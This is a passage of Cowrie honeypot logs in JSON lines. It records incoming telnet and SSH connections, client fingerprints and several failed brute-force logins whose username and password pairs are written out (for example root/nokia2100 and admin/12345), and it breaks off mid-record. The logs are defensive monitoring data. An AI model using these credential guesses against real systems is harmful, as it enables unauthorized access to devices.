{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":46716,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca01e7c42535","protocol":"telnet","message":"New connection: 213.108.3.46:46716 (159.203.135.109:23) [session: ca01e7c42535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:11.058720Z"}
{"eventid":"cowrie.session.closed","duration":0.019557476043701172,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:11.078166Z","src_ip":"213.108.3.46","session":"ca01e7c42535","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.6909778118133545,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:11.193953Z","src_ip":"176.65.139.121","session":"d822660ad584","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":38542,"dst_ip":"10.17.0.5","dst_port":23,"session":"a02011d29c6c","protocol":"telnet","message":"New connection: 176.65.139.121:38542 (10.17.0.5:23) [session: a02011d29c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:11.276998Z"}
{"eventid":"cowrie.session.closed","duration":3.6922695636749268,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:14.969170Z","src_ip":"176.65.139.121","session":"a02011d29c6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":38554,"dst_ip":"10.17.0.5","dst_port":23,"session":"28e0f383959e","protocol":"telnet","message":"New connection: 176.65.139.121:38554 (10.17.0.5:23) [session: 28e0f383959e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:15.050911Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":41584,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d70b0a603f8","protocol":"ssh","message":"New connection: 20.203.59.187:41584 (10.17.0.5:22) [session: 9d70b0a603f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:15.724856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:15.729552Z","src_ip":"20.203.59.187","session":"9d70b0a603f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:15.889312Z","src_ip":"20.203.59.187","session":"9d70b0a603f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"george","message":"login attempt [root/george] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:16.545886Z","src_ip":"20.203.59.187","session":"9d70b0a603f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:17.707738Z","src_ip":"20.203.59.187","session":"9d70b0a603f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.17176628112793,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:26.222543Z","src_ip":"176.65.139.121","session":"28e0f383959e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":41742,"dst_ip":"10.17.0.5","dst_port":23,"session":"69bb6d1f5744","protocol":"telnet","message":"New connection: 176.65.139.121:41742 (10.17.0.5:23) [session: 69bb6d1f5744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:26.302708Z"}
{"eventid":"cowrie.session.closed","duration":8.216286420822144,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:34.518861Z","src_ip":"176.65.139.121","session":"69bb6d1f5744","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":41758,"dst_ip":"10.17.0.5","dst_port":23,"session":"fadbe381278a","protocol":"telnet","message":"New connection: 176.65.139.121:41758 (10.17.0.5:23) [session: fadbe381278a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:34.632427Z"}
{"eventid":"cowrie.session.closed","duration":3.7137093544006348,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:38.345866Z","src_ip":"176.65.139.121","session":"fadbe381278a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":34032,"dst_ip":"10.17.0.5","dst_port":23,"session":"340c51a7ef83","protocol":"telnet","message":"New connection: 176.65.139.121:34032 (10.17.0.5:23) [session: 340c51a7ef83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:38.425015Z"}
{"eventid":"cowrie.session.closed","duration":4.422302484512329,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:42.847189Z","src_ip":"176.65.139.121","session":"340c51a7ef83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":34048,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ce58999c0ed","protocol":"telnet","message":"New connection: 176.65.139.121:34048 (10.17.0.5:23) [session: 0ce58999c0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:42.981249Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":31156,"dst_ip":"10.17.0.5","dst_port":22,"session":"af77a0a57b8b","protocol":"ssh","message":"New connection: 190.119.63.98:31156 (10.17.0.5:22) [session: af77a0a57b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:43.361534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:43.366065Z","src_ip":"190.119.63.98","session":"af77a0a57b8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:43.557430Z","src_ip":"190.119.63.98","session":"af77a0a57b8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"donkey","message":"login attempt [root/donkey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:44.277215Z","src_ip":"190.119.63.98","session":"af77a0a57b8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":57354,"dst_ip":"10.17.0.5","dst_port":22,"session":"7208bf0dbca7","protocol":"ssh","message":"New connection: 43.228.112.254:57354 (10.17.0.5:22) [session: 7208bf0dbca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:45.406388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:45.410939Z","src_ip":"43.228.112.254","session":"7208bf0dbca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:45.537808Z","src_ip":"190.119.63.98","session":"af77a0a57b8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:45.628933Z","src_ip":"43.228.112.254","session":"7208bf0dbca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baikal","message":"login attempt [root/baikal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:46.514066Z","src_ip":"43.228.112.254","session":"7208bf0dbca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:47.729681Z","src_ip":"43.228.112.254","session":"7208bf0dbca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"j1/_6s*w","message":"login attempt [root/j1/_6s*w] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:49.948901Z","src_ip":"176.65.139.121","session":"0ce58999c0ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.982317686080933,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:50.963442Z","src_ip":"176.65.139.121","session":"0ce58999c0ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":39898,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ab2c987e090","protocol":"telnet","message":"New connection: 176.65.139.121:39898 (10.17.0.5:23) [session: 8ab2c987e090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:51.042389Z"}
{"eventid":"cowrie.session.closed","duration":4.442553281784058,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:55.484811Z","src_ip":"176.65.139.121","session":"8ab2c987e090","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":39902,"dst_ip":"10.17.0.5","dst_port":23,"session":"47779ac3cd8e","protocol":"telnet","message":"New connection: 176.65.139.121:39902 (10.17.0.5:23) [session: 47779ac3cd8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:55.563674Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":55374,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6e519210b69","protocol":"ssh","message":"New connection: 43.134.1.45:55374 (10.17.0.5:22) [session: b6e519210b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:55.749514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:55.754373Z","src_ip":"43.134.1.45","session":"b6e519210b69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:55.983822Z","src_ip":"43.134.1.45","session":"b6e519210b69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blondes","message":"login attempt [root/blondes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:56.932497Z","src_ip":"43.134.1.45","session":"b6e519210b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:58.165631Z","src_ip":"43.134.1.45","session":"b6e519210b69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.116.140.50","src_port":35038,"dst_ip":"159.203.135.109","dst_port":23,"session":"4943ee7030c4","protocol":"telnet","message":"New connection: 46.116.140.50:35038 (159.203.135.109:23) [session: 4943ee7030c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:59.938865Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":36256,"dst_ip":"10.17.0.5","dst_port":22,"session":"772eb441dbd8","protocol":"ssh","message":"New connection: 43.156.136.152:36256 (10.17.0.5:22) [session: 772eb441dbd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:01.347368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:01.352401Z","src_ip":"43.156.136.152","session":"772eb441dbd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:01.590467Z","src_ip":"43.156.136.152","session":"772eb441dbd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia2100","message":"login attempt [root/nokia2100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:02.574816Z","src_ip":"43.156.136.152","session":"772eb441dbd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345","message":"login attempt [admin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:02.955118Z","src_ip":"176.65.139.121","session":"47779ac3cd8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:03.816068Z","src_ip":"43.156.136.152","session":"772eb441dbd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.434197187423706,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:03.997742Z","src_ip":"176.65.139.121","session":"47779ac3cd8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":37006,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0f3de78ae5b","protocol":"telnet","message":"New connection: 176.65.139.121:37006 (10.17.0.5:23) [session: e0f3de78ae5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:04.083928Z"}
{"eventid":"cowrie.session.closed","duration":12.474153280258179,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:12.412900Z","src_ip":"46.116.140.50","session":"4943ee7030c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.819341659545898,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:12.903159Z","src_ip":"176.65.139.121","session":"e0f3de78ae5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":60098,"dst_ip":"10.17.0.5","dst_port":23,"session":"0621edd6ecc5","protocol":"telnet","message":"New connection: 176.65.139.121:60098 (10.17.0.5:23) [session: 0621edd6ecc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:13.025935Z"}
{"eventid":"cowrie.session.closed","duration":4.179088115692139,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:17.204899Z","src_ip":"176.65.139.121","session":"0621edd6ecc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":41968,"dst_ip":"10.17.0.5","dst_port":23,"session":"15dc5227f462","protocol":"telnet","message":"New connection: 176.65.139.121:41968 (10.17.0.5:23) [session: 15dc5227f462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:17.303071Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":4742,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfd5f30e8522","protocol":"ssh","message":"New connection: 38.93.206.2:4742 (10.17.0.5:22) [session: bfd5f30e8522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:22.042819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:22.047690Z","src_ip":"38.93.206.2","session":"bfd5f30e8522","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 